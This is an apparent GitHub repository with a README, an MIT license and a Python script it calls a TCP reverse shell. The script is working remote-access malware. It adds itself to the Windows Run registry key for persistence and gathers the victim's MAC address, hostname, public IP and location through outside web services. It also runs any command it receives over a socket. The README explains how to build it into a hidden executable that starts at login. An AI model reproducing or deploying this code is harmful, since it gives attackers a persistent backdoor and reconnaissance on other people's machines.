├── README.md ├── LICENSE └── revShell_server.py /README.md: -------------------------------------------------------------------------------- 1 | # Python-TCP-Reverse-Shell 2 | Python TCP reverse shell & persistence & exe & more! (Also with YouTube tuturial) 3 | 4 | ## YouTube Tutorial 5 | https://www.youtube.com/watch?v=S2vXQ27O944&t= 6 | 7 | Persistence is gained when creating an exe using pyinstaller like 8 | ``` 9 | pyinstaller -w --onefile revShell_server.py 10 | ``` 11 | It will add the exe to the registry and will start up on machine startup and user login. 12 | 13 | This is part 1 atm and I will build on it more in the future and create a tutorial to go with it for anyone that is interested. 14 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2020 w3w3w3 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /revShell_server.py: -------------------------------------------------------------------------------- 1 | # Imports 2 | import socket 3 | import subprocess 4 | import os 5 | import urllib.request 6 | import json 7 | import platform 8 | import uuid 9 | import winreg 10 | 11 | 12 | class Persistence: 13 | def __init__(self): 14 | self.check_reg() 15 | 16 | def add_reg(self): 17 | try: 18 | addr = r'c:/desktop/revShell_server.exe' 19 | reg_hkey = winreg.HKEY_CURRENT_USER 20 | key = winreg.OpenKey(reg_hkey, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_SET_VALUE) 21 | winreg.SetValueEx(key, 'revShell_server', 0, winreg.REG_SZ, addr) 22 | winreg.CloseKey(key) 23 | except: 24 | pass 25 | 26 | def check_reg(self): 27 | try: 28 | reg_hkey = winreg.HKEY_CURRENT_USER 29 | key = winreg.OpenKey(reg_hkey, r'Software\Microsoft\Windows\CurrentVersion\Run', 0, winreg.KEY_READ) 30 | index = 0 31 | while True: 32 | v = winreg.EnumValue(key, index) 33 | if 'revShell_server' not in v: 34 | index+=1 35 | continue 36 | return True 37 | except: 38 | winreg.CloseKey(key) 39 | self.add_reg() 40 | 41 | 42 | class CommonData: 43 | def __init__(self): 44 | pass 45 | 46 | @property 47 | def mac(self): 48 | try: 49 | mac = uuid.UUID(int=uuid.getnode()).hex[-12:] 50 | return mac 51 | except: 52 | return 'null' 53 | 54 | @property 55 | def hostname(self): 56 | try: 57 | hostname = socket.getfqdn(socket.gethostname()).strip() 58 | return hostname 59 | except: 60 | return 'null' 61 | 62 | @property 63 | def public_ip(self): 64 | try: 65 | return urllib.request.urlopen('https://api.ipify.org/').read().decode('utf8') 66 | except: 67 | return 'null' 68 | 69 | @property 70 | def location(self): 71 | try: 72 | data = urllib.request.urlopen('https://freegeoip.app/json/').read().decode('utf8') 73 | json_data = json.loads(data) 74 | country_name = json_data['country_name'] 75 | city = json_data['city'] 76 | return '%s:%s' % (country_name, city) 77 | except: 78 | return 'null' 79 | 80 | @property 81 | def machine(self): 82 | try: 83 | return platform.system() 84 | except: 85 | return 'null' 86 | 87 | @property 88 | def core(self): 89 | try: 90 | return platform.machine() 91 | except: 92 | return 'null' 93 | 94 | 95 | class reverseShell: 96 | # Class variables 97 | HOST = 'localhost' 98 | PORT = 5000 99 | BUFF_SIZE = 2048 100 | 101 | # Start socket/server initilization 102 | def __init__(self): 103 | # Create persistence for our reverse tcp shell exe on windows 104 | p = Persistence() 105 | # # Create TCP socket 106 | self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_TCP) 107 | # Bind socket to the address (HOST:PORT) 108 | self.s.bind((self.HOST, self.PORT)) 109 | # Listen for connections 110 | self.s.listen() 111 | print(f'[+] Listening on {self.HOST}:{self.PORT}') 112 | self.socket_init() 113 | 114 | def socket_init(self): 115 | # Accept connection (program will wait on accept until it recv a connection then we will jump to main() function) 116 | # client_socket: is a new socket object able to send&recv data on the connection 117 | # client_address: is the address bound to the socket 118 | self.client_socket, self.client_address = self.s.accept() 119 | print(f'[+] Accepted connection: {self.client_address[0]}:{self.client_address[1]}') 120 | self.main() 121 | 122 | def send_msg(self, msg): 123 | # Convert string(msg) into utf8 bytes 124 | msg = bytes(f'{msg}\n\n:> ', 'utf8') 125 | send = self.client_socket.sendall(msg) 126 | # Returns 'None' if sendall is successful 127 | return send 128 | 129 | def recv_msg(self): 130 | recv = self.client_socket.recv(self.BUFF_SIZE) 131 | # Return value is a bytes object representing the data received 132 | return recv 133 | 134 | def main(self): 135 | # Send connection msg to connected client 136 | if self.send_msg('[revShell] You have connected.') != None: 137 | print('[+] Error has occured') 138 | # Main part of our program, will run a continous while loop 139 | while True: 140 | try: 141 | msg = '' 142 | chunk = self.recv_msg() 143 | msg += chunk.strip().decode('utf8') 144 | # Headquarters(hq) for commands, functions, and so on using the recieved msg 145 | self.hq(msg) 146 | except: 147 | # Close socket 148 | self.client_socket.close() 149 | # Go to socket_init() method and listen for another connection 150 | self.socket_init() 151 | 152 | 153 | def hq(self, msg): 154 | try: 155 | # Data commands linked to data class and data methods 156 | if msg[:5] == 'data.': 157 | data = CommonData() 158 | if msg[:10] == 'data.mac': 159 | self.send_msg(data.mac) 160 | elif msg[:13] == 'data.hostname': 161 | self.send_msg(data.hostname) 162 | elif msg[:7] == 'data.ip': 163 | self.send_msg(data.public_ip) 164 | elif msg[:13] == 'data.location': 165 | self.send_msg(data.location) 166 | elif msg[:12] == 'data.machine': 167 | self.send_msg(data.machine) 168 | elif msg[:9] == 'data.core': 169 | self.send_msg(data.core) 170 | else: 171 | self.send_msg('[revShell] No data command in that name. data.ip/location/machine/core only.') 172 | # Normal command promt commands using the shell 173 | else: 174 | tsk = subprocess.Popen(args=msg, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) 175 | stdout, stderr = tsk.communicate() 176 | # Result from subprocess shell stdout decoded in utf8 177 | myresult = stdout.decode('utf8') 178 | if msg[:2] == 'cd': 179 | os.chdir(msg[3:]) 180 | self.send_msg('[revShell] *changed dir*') 181 | elif msg[:4] == 'exit': 182 | # Close socket 183 | self.client_socket.close() 184 | # Go to socket_init() method and listen for another connection 185 | self.socket_init() 186 | else: 187 | # Send result to client 188 | self.send_msg(f'{myresult}') 189 | except Exception as e: 190 | # print(e) # Debugging 191 | self.send_msg(f'[revShell] {e}') 192 | 193 | 194 | 195 | if __name__=='__main__': 196 | malware = reverseShell() 197 | 198 | 199 | 200 | 201 | 202 | 203 | --------------------------------------------------------------------------------